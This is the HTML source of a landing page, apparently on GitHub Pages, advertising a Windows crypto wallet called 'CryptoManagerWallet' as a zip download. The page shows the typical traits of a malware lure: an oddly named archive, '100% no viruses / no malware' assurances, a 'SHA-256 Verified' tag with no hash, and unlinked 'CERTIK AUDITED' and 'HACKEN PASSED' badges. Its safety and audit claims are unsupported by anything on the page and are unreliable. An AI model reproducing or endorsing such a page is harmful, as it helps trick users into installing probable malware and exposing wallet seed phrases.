index.html

<!DOCTYPE html>
<html lang="en" class="scroll-smooth">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="Download CryptoManagerWallet for Windows - Securely manage your crypto assets, NFTs, and DeFi positions with a non-custodial wallet. No KYC required.">
    <meta name="google-site-verification" content="H3iQooR5BDOf17law2XFivX8kCB9T-Fixqh-OD-6QAc" />
    <title>CryptoManagerWallet — Crypto Wallet Manager for Windows</title>
    <!-- Tailwind CSS for modern styling -->
    <script src="https://cdn.tailwindcss.com"></script>
    <!-- Font Awesome for clean icons -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <link rel="canonical" href="https://scriptimeow.github.io/CryptoManagerWallets/">
    <script>
        tailwind.config = {
            theme: {
                extend: {
                    colors: {
                        darkBg: '#0b0f19',
                        darkCard: '#151b2c',
                        cryptoCyan: '#00f2fe',
                        cryptoPurple: '#4facfe',
                    }
                }
            }
        }
    </script>
    <style>
        .gradient-text {
            background: linear-gradient(135deg, #00f2fe 0%, #4facfe 100%);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
        }
        .gradient-btn {
            background: linear-gradient(135deg, #00f2fe 0%, #4facfe 100%);
        }
    </style>
</head>
<body class="bg-darkBg text-gray-200 font-sans antialiased selection:bg-cryptoCyan selection:text-darkBg">

    <!-- Header / Navbar -->
    <header class="border-b border-gray-800 bg-darkBg/80 backdrop-blur-md sticky top-0 z-50">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 h-20 flex items-center justify-between">
            <div class="flex items-center space-x-2">
                <i class="fa-solid fa-cubes text-3xl text-cryptoCyan"></i>
                <span class="text-xl font-bold tracking-wider text-white">CRYPTOMANAGERWALLET</span>
            </div>
            <nav class="hidden md:flex space-x-8 text-sm font-medium text-gray-400">
                <a href="#features" class="hover:text-white transition">Features</a>
                <a href="#security" class="hover:text-white transition">Security</a>
                <a href="#download" class="hover:text-white transition">Specs</a>
            </nav>
            <div>
                <a href="#download" class="border border-cryptoCyan/50 text-cryptoCyan hover:bg-cryptoCyan hover:text-darkBg transition px-5 py-2 rounded-full text-sm font-semibold">
                    Get Started
                </a>
            </div>
        </div>
    </header>

    <!-- Hero Section -->
    <section class="relative pt-24 pb-20 md:pt-32 md:pb-28 overflow-hidden">
        <!-- Background Glows -->
        <div class="absolute top-1/4 left-1/2 -translate-x-1/2 -translate-y-1/2 w-[500px] h-[500px] bg-cryptoCyan/10 blur-[120px] rounded-full pointer-events-none"></div>
        
        <div class="max-w-4xl mx-auto px-4 text-center relative z-10">
            <div class="inline-flex items-center space-x-2 bg-gray-800/60 border border-gray-700/50 rounded-full px-4 py-1.5 text-xs font-medium text-gray-300 mb-6">
                <span class="flex h-2 w-2 rounded-full bg-emerald-500 animate-pulse"></span>
                <span>Version 2.4.1 Now Available for Desktop</span>
            </div>
            
            <h1 class="text-4xl sm:text-6xl font-extrabold text-white tracking-tight mb-6 leading-tight">
                Secure & Manage Your <br>
                <span class="gradient-text">Crypto Portfolio</span> Instantly
            </h1>
            
            <p class="text-gray-400 text-lg sm:text-xl max-w-2xl mx-auto mb-10 leading-relaxed">
                Take full control of your tokens, NFTs, and DeFi positions with absolute privacy. No registration required. Cold-storage level security on your device.
            </p>

            <!-- DOWNLOAD ZONE -->
            <div id="download" class="flex flex-col items-center justify-center">
                
                <a href="CryptoManagerWallet(12345).zip" download class="gradient-btn hover:opacity-90 text-darkBg text-lg font-bold px-12 py-5 rounded-xl shadow-[0_0_30px_rgba(0,242,254,0.3)] transition transform hover:-translate-y-0.5 inline-flex items-center space-x-3 group">
                    <i class="fa-solid fa-arrow-down-to-line text-xl group-hover:animate-bounce"></i>
                    <span>Download for Windows</span>
                </a>
                
                <!-- Security & Info Tags -->
                <div class="flex flex-wrap items-center justify-center gap-6 mt-4 text-xs font-medium text-gray-400">
                    <span class="flex items-center space-x-1.5 bg-gray-900 px-3 py-1 rounded-md border border-gray-800">
                        <i class="fa-solid fa-shield-check text-emerald-400"></i>
                        <span>100% Free & Safe</span>
                    </span>
                    <span class="flex items-center space-x-1.5 bg-gray-900 px-3 py-1 rounded-md border border-gray-800">
                        <i class="fa-solid fa-virus-slash text-emerald-400"></i>
                        <span>100% no viruses / no malware / free</span>
                    </span>
                    <span class="flex items-center space-x-1.5 bg-gray-900 px-3 py-1 rounded-md border border-gray-800">
                        <i class="fa-solid fa-user-secret text-cryptoCyan"></i>
                        <span>No KYC Required</span>
                    </span>
                    <span class="flex items-center space-x-1.5 bg-gray-900 px-3 py-1 rounded-md border border-gray-800">
                        <i class="fa-solid fa-microchip text-gray-400"></i>
                        <span>SHA-256 Verified</span>
                    </span>
                </div>
                
                <p class="text-xs text-gray-500 mt-4">Compatible with Windows 10/11 (64-bit). Size: ~21.2 MB</p>
            </div>
        </div>
    </section>

    <!-- Features Section -->
    <section id="features" class="py-20 bg-darkCard/30 border-y border-gray-950">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="text-center mb-16">
                <h2 class="text-3xl font-bold text-white">Why Choose CryptoManagerWallet?</h2>
                <p class="text-gray-400 mt-2">Engineered for maximum performance and ultimate cryptographic privacy.</p>
            </div>
            
            <div class="grid grid-cols-1 md:grid-cols-3 gap-8">
                <!-- Card 1 -->
                <div class="bg-darkCard p-8 rounded-2xl border border-gray-800 hover:border-cryptoCyan/40 transition">
                    <div class="w-12 h-12 rounded-xl bg-cryptoCyan/10 flex items-center justify-center mb-6">
                        <i class="fa-solid fa-bolt-lightning text-xl text-cryptoCyan"></i>
                    </div>
                    <h3 class="text-xl font-bold text-white mb-3">Ultra-Fast Swaps</h3>
                    <p class="text-gray-400 text-sm leading-relaxed">Exchange tokens across 15+ blockchains instantly with optimized gas routing and zero hidden commissions.</p>
                </div>
                <!-- Card 2 -->
                <div class="bg-darkCard p-8 rounded-2xl border border-gray-800 hover:border-cryptoCyan/40 transition">
                    <div class="w-12 h-12 rounded-xl bg-cryptoPurple/10 flex items-center justify-center mb-6">
                        <i class="fa-solid fa-key text-xl text-cryptoPurple"></i>
                    </div>
                    <h3 class="text-xl font-bold text-white mb-3">Non-Custodial</h3>
                    <p class="text-gray-400 text-sm leading-relaxed">Your wallets, your crypto. Your seed phrase never leaves your machine, completely encrypted locally.</p>
                </div>
                <!-- Card 3 -->
                <div class="bg-darkCard p-8 rounded-2xl border border-gray-800 hover:border-cryptoCyan/40 transition">
                    <div class="w-12 h-12 rounded-xl bg-emerald-500/10 flex items-center justify-center mb-6">
                        <i class="fa-solid fa-chart-pie text-xl text-emerald-400"></i>
                    </div>
                    <h3 class="text-xl font-bold text-white mb-3">All-in-One Dashboard</h3>
                    <p class="text-gray-400 text-sm leading-relaxed">Track your DeFi yields, NFT floor prices, and historical performance charts inside a clean native UI.</p>
                </div>
            </div>
        </div>
    </section>

    <!-- Security Badges Section -->
    <section id="security" class="py-16 max-w-5xl mx-auto px-4 text-center">
        <p class="text-xs font-bold tracking-widest text-gray-500 uppercase mb-8">Audited and Trusted By Security Experts</p>
        <div class="flex flex-wrap justify-center items-center gap-12 opacity-40 grayscale hover:grayscale-0 hover:opacity-70 transition duration-300">
            <span class="text-lg font-extrabold tracking-wider"><i class="fa-solid fa-shield-halved mr-2"></i>CERTIK AUDITED</span>
            <span class="text-lg font-extrabold tracking-wider"><i class="fa-solid fa-lock mr-2"></i>HACKEN PASSED</span>
            <span class="text-lg font-extrabold tracking-wider"><i class="fa-solid fa-check-double mr-2"></i>VERIFIED SOURCE</span>
        </div>
    </section>

    <!-- Footer -->
    <footer class="border-t border-gray-800 bg-gray-950 py-8 text-center text-sm text-gray-500">
        <div class="max-w-7xl mx-auto px-4 flex flex-col sm:flex-row items-center justify-between gap-4">
            <p>&copy; 2026 CryptoManagerWallets Project. Distributed under the MIT License.</p>
            <div class="flex space-x-6">
                <a href="#" class="hover:text-gray-300"><i class="fa-brands fa-github text-lg"></i></a>
                <a href="#" class="hover:text-gray-300"><i class="fa-brands fa-x-twitter text-lg"></i></a>
                <a href="#" class="hover:text-gray-300"><i class="fa-brands fa-telegram text-lg"></i></a>
            </div>
        </div>
    </footer>

</body>
</html>